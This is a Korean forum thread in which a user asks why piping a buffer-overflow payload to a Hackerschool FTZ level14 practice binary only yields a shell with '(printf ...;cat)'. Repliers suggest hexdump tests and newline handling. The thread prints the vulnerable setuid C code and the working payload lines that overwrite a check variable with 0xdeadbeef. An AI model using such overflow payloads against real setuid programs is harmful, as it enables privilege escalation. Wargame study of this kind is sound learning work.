쉘 명령에 관한 질문입니다...
해커스쿨 FTZ(telnet://ftz.hackerschool.org)에 요즘 푹 빠졌습니다. :)
혹시 깬분 계실지 모르지만 level14에서 막히는군요 -_-
문제 자체가 어려워서는 아니지만...
즉 그렇게 관련성이 있지는 않지만 문제부터 설명드리겠습니다.
/home/level14/attackme라는 실행파일이 있습니다. level15로 suid 걸려서 어택해야 합니다.
이 명령은 실행시 값만 받고 그걸로 BOF에 성공하면 쉘을 내줍니다.
attackme의 코드입니다.#include <stdio.h> #include <unistd.h> main() { int crap; int check; char buf[20]; fgets(buf,45,stdin); if (check==0xdeadbeef) { setreuid(3095,3095); system("/bin/sh"); } }
즉 buf를 넘어서 check에 0xdeadbeef를 넣어야 합니다.
(확인결과 signed/unsigned 변수의 의미는 없습니다.)
저는 그래서...
printf "a\xef\xbe\xad\xde" | ~/attackme
printf "aa\xef\xbe\xad\xde" | ~/attackme
printf "aaa\xef\xbe\xad\xde" | ~/attackme
printf "aaaa\xef\xbe\xad\xde" | ~/attackme
......
(0xdeadbeef가 리틀 엔디안 순서로 저장되므로 꺼꾸로 적음)
이런식으로 넘치게 하려 했습니다.
질문하는 까닭이기도 하지만 안되더군요 -_-
그때 어디서 다른 분이 하는 코드를 보고 이렇게 바꿨습니다.
(printf "a\xef\xbe\xad\xde";cat) | ~/attackme
(printf "aa\xef\xbe\xad\xde";cat) | ~/attackme
(printf "aaa\xef\xbe\xad\xde";cat) | ~/attackme
(printf "aaaa\xef\xbe\xad\xde";cat) | ~/attackme
되더군요 @_@ 다만 매번 엔터키를 한번 더 쳐야 했지만 -_-
두개의 차이가 무엇인가요?
참고로 cat의 키보드 입력때 그냥 엔터만 쳤습니다.
~/attackme 대신에 hexdump류의 프로그램을 실행해보시면 어떨
~/attackme 대신에 hexdump류의 프로그램을 실행해보시면 어떨까요? od -x는 어떨까요?
덧. printf "aaaa\xef\xbe\xad\xde\n" | ~/attackme 이렇게는 해보셨나요?
[quote]~/attackme 대신에 hexdump류의 프로그램을
hexdump류라... 걍 hexdump나 od -x를 써보겠습니다.
했는데 안됩니다. -_-
cat에서 엔터를 \n으로 먹여주는 거 같지는 않네요...
제 cygwin 설정상으로는 \n으로 재현(?)이 가능했습니다. \n 말
제 cygwin 설정상으로는 \n으로 재현(?)이 가능했습니다. \n 말고 \r도 있으니 참고하세요.
개인 리눅스서버에서 아래의 소스 가지고 테스트 해봤는데.위의 방법
개인 리눅스서버에서 아래의 소스 가지고 테스트 해봤는데.
위의 방법되로 되던데요.
고작 블로킹 하나, 고작 25점 중에 1점, 고작 부활동
"만약 그 순간이 온다면 그때가 네가 배구에 빠지는 순간이야"
댓글 달기